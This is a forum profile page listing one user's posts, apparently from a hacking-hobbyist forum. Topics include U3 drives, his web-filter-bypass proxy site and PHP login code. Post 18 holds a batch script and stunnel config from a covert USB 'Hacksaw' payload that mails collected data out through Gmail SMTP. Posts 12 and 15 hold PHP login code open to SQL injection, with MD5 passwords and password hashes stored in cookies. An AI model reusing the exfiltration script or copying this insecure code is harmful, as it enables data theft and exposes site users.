Jump to content

Masterpyro

Active Members
  • Posts

    58
  • Joined

  • Last visited

Everything posted by Masterpyro

  1. Not sure if this has been said yet but U3 has a special driver in it some how, but im sure it is software as reformating it renders it useless as a u3(except on sanddisk, you can run LPinstaller on them again to reload.)
  2. I still think there needs to be an auction forum.
  3. made a few more adjustments with the new layout, still a work in progress though.
  4. wow tough crowd. I did think of changing the color scheme but im not that creative. Forums were done the best way we could think of to match the site and have everything visible. The picture is blurry caues some company made it for me and I didn't feel like paying for it so i attempted to erase the water mark and blow it up 10 times from the size i was given. Yes it was done in a few minutes(which is why i didnt pay for it) I never actually tested the proxy page so i forgot to make it so they open in the same window, not the iframe, so i will fix that. Any idea for a new style? Edit: Deleted dupe post(s). Moonlit.
  5. Ok im sure most if not all of you don't care but I have recoded my entire proxy website and i need some traffic. The new address is http://slashwebfilters.org. The old one is http://slashwebfilters.com.Tell me which one you guys like better in the design and functionality and also any suggestions for more features. I also have a new layout. you can still compare with the old one at http://slashwebfilters.org/11index.php
  6. /me has Zelda. Send me a message if you add me darren.
  7. I got my Wii today. went out at 330am to toys r us to get it and i got the second to last ticket. will edit in console # after i get through all these updates... EDIT: Console Number= 2221 6066 4341 2741
  8. so i could just have the page compare with the forum DB right?
  9. well if i could get it to check the cookies with the database of the forums wouldnt it be possible? its on the same domain
  10. yes i am new to php, i got this code from about.com and attempted to edit accordingly. i was not sure if i could connect the site with the forums but that is what i really wanted to do. I am not sure but basically all i have to do is have the site look for the same cookie the forums create? if thats all i will do it that way.
  11. o ya sorry i fogot that i only did this with the register page.
  12. ok i got one more problem. users can register, but they cant login...still. No more header errors just an infinite loop or something somewhere. here is my code: Login //Checks if there is a login cookie if(isset($_COOKIE['ID_my_site'])) //if there is, it logs you in and directes you to the members page { $userid = $_COOKIE['ID_my_site']; $pass = $_COOKIE['Key_my_site']; $check = mysql_query("SELECT * FROM users WHERE userid = '$userid'") or header("Location: error.html"); while($info = mysql_fetch_array( $check )) { if ($pass != $info['pass']) { } else { header("Location: members.php"); } } } //if the login form is submitted if (isset($_POST['submit'])) { // if form has been submitted // makes sure they filled it in if(!$_POST['userid'] | !$_POST['pass']) { header("Location: error.html"); } // checks it against the database if (!get_magic_quotes_gpc()) { $_POST['userid'] = addslashes($_POST['userid']); } $check = mysql_query("SELECT * FROM users WHERE userid = '".$_POST['userid']."'") or header("Location: error.html"); //Gives error if user dosen't exist $check2 = mysql_num_rows($check); if ($check2 == 0) { header("Location: error.html"); } while($info = mysql_fetch_array( $check )) { $_POST['pass'] = stripslashes($_POST['pass']); $info['pass'] = stripslashes($info['pass']); $_POST['pass'] = md5($_POST['pass']); //gives error if the password is wrong if ($_POST['pass'] != $info['pass']) { header("Location: error.html"); } else { // if login is ok then we add a cookie $_POST['userid'] = stripslashes($_POST['userid']); $hour = time() + 3600; setcookie(ID_my_site, $_POST['userid'], $hour); setcookie(Key_my_site, $_POST['pass'], $hour); //then redirect them to the members area header("Location: members.php"); } } } else { // if they are not logged in ?> i have no idea what is wrong with it still but i think it is at the setcookie() functions at the bottem of the code, because if a wrong pass is entered it goes to my error page but if correct pass is given it goes into some kinda infinite loop as firefox says. Sign up for our new forums @ http://slashwebfilters.phpnet.us/forums (this login actually works!)
  13. ok thanks guys that sounds like it will solve my problem. i will impliment the changes a little later, im starting my pure pwnage marithon :)
  14. i am getting mine this week if i can get my mom to wake up before 10am.
  15. Hey, im remodeling my site, http://slashwebfilters.isgreat.org and i need a few people to help me out with the login script. i am getting a few different errors about headers being sent twice or something like that. here is my code: Login Form: <tr><td> <form action="login.php" method="post"> <p> User ID:</p><input type="text" name="userid" id="userid" /> </td> </tr> <tr> <td><p> Password:</p> <input type="password" name="pass" id="pass" /> </td> </tr> <tr> <td> <input type="submit" name="submit" id="submit" value="Submit" /> </td> </tr> </form> Login.php <?php $host="***************"; // Host name $username="***************"; // Mysql username $password="*****************"; // Mysql password $db_name="********************"; // Database name $tbl_name="*****************"; // Table name // Connect to server and select databse. mysql_connect("$host", "$username", "$password")or die("cannot connect"); mysql_select_db("$db_name")or die("cannot select DB"); // username and password sent from signup form $userid=$_POST['userid']; $pass=$_POST['pass']; $encrypted_pass=md5($pass); $sql="SELECT * FROM $tbl_name WHERE userid='$userid' and pass='$encrypted_pass'"; $result=mysql_query($sql); // Mysql_num_row is counting table row $count=mysql_num_rows($result); // If result matched $userid and $pass, table row must be 1 row if($count==1){ // Register $userid, $pass and redirect to file "members.php" session_register('$userid'); session_register('$encrypted_pass'); header("location:members.php"); } else { echo "<p>Invalid UserID or Password.</p>"; } ?> Logout.php <? session_start(); session_destroy(); header("Location:index.php"); ?> Register.php <?php // Connects to your Database mysql_connect("*********", "*************", "**************") or die(mysql_error()); mysql_select_db("****************") or die(mysql_error()); //This code runs if the form has been submitted if (isset($_POST['submit'])) { //This makes sure they did not leave any fields blank if (!$_POST['userid'] | !$_POST['pass'] | !$_POST['pass2'] | !$_POST['email']) { die('<p>You did not complete all of the required fields</p>'); } // checks if the username is in use if (!get_magic_quotes_gpc()) { $_POST['userid'] = addslashes($_POST['userid']); } $usercheck = $_POST['userid']; $check = mysql_query("SELECT userid FROM users WHERE userid = '$usercheck'") or die(mysql_error()); $check2 = mysql_num_rows($check); //if the name exists it gives an error if ($check2 != 0) { die('<p>Sorry, the userid '.$_POST['userid'].' is already in use.</p>'); } // this makes sure both passwords entered match if ($_POST['pass'] != $_POST['pass2']) { die('<p>Your passwords did not match.</p>'); } // here we encrypt the password and add slashes if needed $_POST['pass'] = md5($_POST['pass']); if (!get_magic_quotes_gpc()) { $_POST['pass'] = addslashes($_POST['pass']); $_POST['userid'] = addslashes($_POST['userid']); $_POST['email'] = addslashes($_POST['email']); } // now we insert it into the database $insert = "INSERT INTO users (id, userid, pass, email) VALUES ('".$_POST['id']."','".$_POST['userid']."', '".$_POST['pass']."', '".$_POST['email']."')"; $add_member = mysql_query($insert); ?> <h1>Registered</h1> <p>Thank you, you have registered - you may now <a href="index.php" target="_parent">Login</a>.</p> <?php } else { ?> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post"> <table align="center"> <tr><td><p>Username:</p></td> <td> <input type="text" name="userid" maxlength="60" /> </td></tr> <tr><td><p>Password:</p></td> <td> <input type="password" name="pass" id="pass" maxlength="30" /> </td></tr> <tr><td><p>Confirm Password:</p></td> <td> <input type="password" name="pass2" id="pass2" maxlength="30" /> </td></tr> <tr><td><p>Email:</p></td> <td> <input type="text" name="email" id="email" maxlength="100" /> </td> </tr> <tr> <td> <input type="hidden" name="id" id="id" value="" /> </td> </tr> <tr><td><input type="submit" name="submit" id="submit" value="Register"></td> <td><input type="reset" name="Reset" id="Reset" value="Reset"></table> </form> <?php } ?> Members.php <? session_start(); if(!session_is_registered(userid)){ header("location:index.php"); } ?> Of course this is only the php code on the page and there will be more content eventually. Is there anything happening on one page that isnt on another like register is encrypting password and login is not decrypting? Any and all help appriciated.
  16. I am sure you can get the hacksaw on a CD. It does not require being written too as it emails everything to you so you could also set up the switchblade to be sent with the Hacksaw stuff i suppose.
  17. yes i think so client = yes taskbar = no [SMTP Gmail] accept = 127.0.0.1:1099 connect = smtp.gmail.com:465 a few screenshots: http://i15.tinypic.com/332merl.jpg http://i15.tinypic.com/4dxo8w9.jpg
  18. ERROR: 2006.11.17 12:56:32 LOG5[320:2596]: stunnel 4.11 on x86-pc-mingw32-gnu WIN32+IPv6 with OpenSSL 0.9.7f 22 Mar 2005 2006.11.17 12:56:32 LOG5[320:3480]: No limit detected for the number of clients 2006.11.17 12:56:32 LOG3[320:3480]: listen: Invalid argument (WSAEINVAL) (10022) 2006.11.17 12:56:32 LOG3[320:3480]: Server is down Send.cmd @echo off :start :: Configure Email Options SET emailfrom= xxxxxxxxxxxxxxxxxxxxx@xxxxxxxx SET emailto= xxxxxxxxxxxxxxxxxxxxxxx@xxxxxxxx SET password= xxxxxxxxxxxxx SET subject= %computername%_ip call getip.cmd stunnel-4.11.exe -install -quiet net start stunnel GOTO sendfiles :sendfiles for %%i in (ip.txt) do blat.exe %%i -base64 -to %emailto% -u %emailfrom% -subject %subject% -pw %password% -f %emailfrom% -server 127.0.0.1:1099 GOTO cleanup :cleanup :: Stop stunnel rem taskkill /f /im stunnel-4.11.exe (??) net stop stunnel stunnel-4.11.exe -uninstall -quiet :: Delete documents del ip.txt ping -n 3 localhost > NUL GOTO end :end anyone know whats up with this? and should it be send.bat or send.cmd?
  19. Masterpyro

    firmware?

    i dont think it is hardware at all. if it was then a u3 would still work like a u3 even after you uninstall it. I think all you have to do is mount the iso that LPinstaller does onto a flash drive and your done
  20. ya sorry i want it to be the same file
  21. I am looking for a file compressor(duh) that will make multiple videos (in a folder) as small as possible and when decompressed, still have the best quality they can have. So far I have tried: Method Input Output .zip 4.86GB 4.13GB .7z 4.86GB took too long so I stopped it divx 178Mb 178.1MB ?!? Any others that i should try? Links Appreciated.
  22. heh i believe i used all those before i new how to open the command prompt. Comet Cursor and Bonzi Buddy are liek adware so its not your sons fault(or is it ;). And flash the only way that cold really be used as a hacking tool would make it log some IPs when someone went to your site.
  23. I did look at the alternatives for this but this is really my first atempt with batch files that do more than open the command prompt so PortQry helped by having the log file feature built in. I will add it to the Packages page. Would this NEED added to the switchblade/hacksaw batch file if one were to use this or can the custom iso handel running two different batch files?
  24. wow thats a lot of numbers. good things there copy and paste
  25. ok I am at school now so when i get home in 2 hours i will upload it and make an edit to this topic
×
×
  • Create New...